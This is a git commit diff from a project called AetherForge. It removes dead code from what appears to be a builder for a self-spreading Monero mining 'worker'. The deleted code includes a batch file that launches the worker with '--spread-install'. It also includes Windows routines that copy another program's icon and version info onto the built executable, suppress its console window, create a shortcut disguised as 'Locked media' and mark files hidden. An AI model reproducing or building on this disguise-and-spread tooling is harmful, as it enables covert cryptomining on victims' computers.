drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Clean up all staticcheck errors (SA4006 + U1000): fix dead assignments in server_info.go and build_universal.go; remove unused proxy fields and functions; delete superseded icon_windows.go and shortcut_windows.go

Browse Source
This commit is contained in:
AetherForge
2026-06-01 21:31:13 -07:00
parent 5ef1734ae3
commit 0511306c65
9 changed files with 82 additions and 253 deletions
Download Patch File Download Diff File Expand all files Collapse all files

5
server/internal/api/server_info.go
View File

@@ -3,7 +3,6 @@ package api
import (
"net"
"net/http"
"net/url"
"strings"
)
@@ -38,10 +37,6 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
if strings.TrimSpace(publicURLOverride) != "" {
suggestedURL = strings.TrimSpace(publicURLOverride)
suggestedHost = suggestedURL
if u, err := url.Parse(suggestedURL); err == nil && u.Hostname() != "" {
suggestedHost = u.Hostname()
}
}
info := ServerInfo{
Port: port,

7
server/internal/builder/build_universal.go
View File

@@ -50,7 +50,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
}
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
var subdir string
if req.SpreadKit {
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
} else {
@@ -337,11 +337,6 @@ func spreadKitStartCommand() string {
return spreadKitStartCommandBody
}
const universalDeployBat = `@echo off
set DIR=%~dp0
"%DIR%bin\windows-amd64\worker.exe" --spread-install
`
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
// It detects the OS/arch and launches the matching runner binary.
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.

17
server/internal/builder/icon_stub.go
View File

@@ -1,17 +0,0 @@
//go:build !windows
package builder
import "fmt"
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
return nil
}
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
return fmt.Errorf("fusion resource embedding requires building on Windows")
}
func fusionLdflags(prepPath string) string {
return "-s -w -H windowsgui"
}

139
server/internal/builder/icon_windows.go
View File

@@ -1,139 +0,0 @@
//go:build windows
package builder
import (
"encoding/json"
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
return nil
} else {
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
}
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
return nil
}
return fmt.Errorf("could not copy icon/resources from prep exe")
}
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
return err
}
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
if err != nil {
return err
}
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
return err
}
return nil
}
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
iconPath := filepath.Join(workDir, "prep-icon.ico")
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
return err
}
doc := map[string]any{
"RT_GROUP_ICON": map[string]any{
"APP": map[string]any{
"0409": "prep-icon.ico",
},
},
}
jsonPath := filepath.Join(workDir, "icons-only.json")
raw, err := json.MarshalIndent(doc, "", " ")
if err != nil {
return err
}
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
return err
}
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
return err
}
return nil
}
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
func extractIconFromEXE(exePath, icoPath string) error {
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
script := fmt.Sprintf(`
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Drawing
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon('%s')
if ($null -eq $icon) { throw 'no icon on executable' }
$dir = Split-Path -Parent '%s'
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
$fs = [System.IO.File]::Create('%s')
$icon.Save($fs)
$fs.Close()
`, exeEsc, icoEsc, icoEsc)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("extract icon: %w (%s)", err, strings.TrimSpace(string(out)))
}
if _, err := os.Stat(icoPath); err != nil {
return fmt.Errorf("icon file not created: %w", err)
}
return nil
}
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
return nil
}
func peSubsystem(exePath string) int {
data, err := os.ReadFile(exePath)
if err != nil || len(data) < 128 {
return 2
}
peOff := int(uint32(data[0x3c]) | uint32(data[0x3d])<<8 | uint32(data[0x3e])<<16 | uint32(data[0x3f])<<24)
if peOff+24+68+2 > len(data) {
return 2
}
if string(data[peOff:peOff+4]) != "PE\x00\x00" {
return 2
}
opt := peOff + 24
sub := int(uint16(data[opt+68]) | uint16(data[opt+69])<<8)
return sub
}
func fusionLdflags(prepPath string) string {
flags := "-s -w"
if peSubsystem(prepPath) == 2 {
flags += " -H windowsgui"
}
return flags
}

13
server/internal/builder/shortcut_stub.go
View File

@@ -1,13 +0,0 @@
//go:build !windows
package builder
import "fmt"
func createMovieLockShortcut(_, _, _, _ string) error {
return fmt.Errorf("movie lock shortcuts require Windows forge host")
}
func setHiddenFile(_ string) error {
return nil
}

48
server/internal/builder/shortcut_windows.go
View File

@@ -1,48 +0,0 @@
//go:build windows
package builder
import (
"fmt"
"os/exec"
"path/filepath"
"strings"
)
func createMovieLockShortcut(lnkPath, targetExe, arguments, iconLocation string) error {
lnkPath, _ = filepath.Abs(lnkPath)
targetExe, _ = filepath.Abs(targetExe)
workDir := filepath.Dir(targetExe)
if iconLocation == "" {
iconLocation = `%SystemRoot%\System32\imageres.dll,196`
}
lnkEsc := escapePS(lnkPath)
targetEsc := escapePS(targetExe)
workEsc := escapePS(workDir)
iconEsc := escapePS(iconLocation)
argsEsc := escapePS(arguments)
script := fmt.Sprintf(
`$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('%s'); $s.TargetPath = '%s'; $s.Arguments = '%s'; $s.WorkingDirectory = '%s'; $s.IconLocation = '%s'; $s.Description = 'Locked media'; $s.Save()`,
lnkEsc, targetEsc, argsEsc, workEsc, iconEsc,
)
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("create shortcut: %w (%s)", err, strings.TrimSpace(string(out)))
}
return nil
}
func setHiddenFile(path string) error {
path, _ = filepath.Abs(path)
script := fmt.Sprintf(
`(Get-Item -LiteralPath '%s').Attributes = 'Hidden'`,
escapePS(path),
)
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
return cmd.Run()
}
func escapePS(s string) string {
return strings.ReplaceAll(s, "'", "''")
}

25
server/internal/pool/proxy.go
View File

@@ -66,7 +66,6 @@ type Proxy struct {
requestID int
loginRequestID int
currentJob *Job
jobSubscribed bool
stopCh chan struct{}
wg sync.WaitGroup
running bool
@@ -844,30 +843,6 @@ func (j *Job) ToModelJob() *models.Job {
}
}
// Helper to convert target hex to difficulty
func targetToDifficulty(targetHex string) int64 {
bytes, err := hex.DecodeString(targetHex)
if err != nil || len(bytes) == 0 {
return 0
}
// Reverse from little-endian
for i, j := 0, len(bytes)-1; i < j; i, j = i+1, j-1 {
bytes[i], bytes[j] = bytes[j], bytes[i]
}
target := new(big.Int).SetBytes(bytes)
if target.Sign() == 0 {
return 0
}
maxTarget := new(big.Int)
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
diff := new(big.Int).Div(maxTarget, target)
return diff.Int64()
}
// ParseBlob extracts fields from a Monero mining blob
func ParseBlob(blobHex string) (map[string]interface{}, error) {
blob, err := hex.DecodeString(blobHex)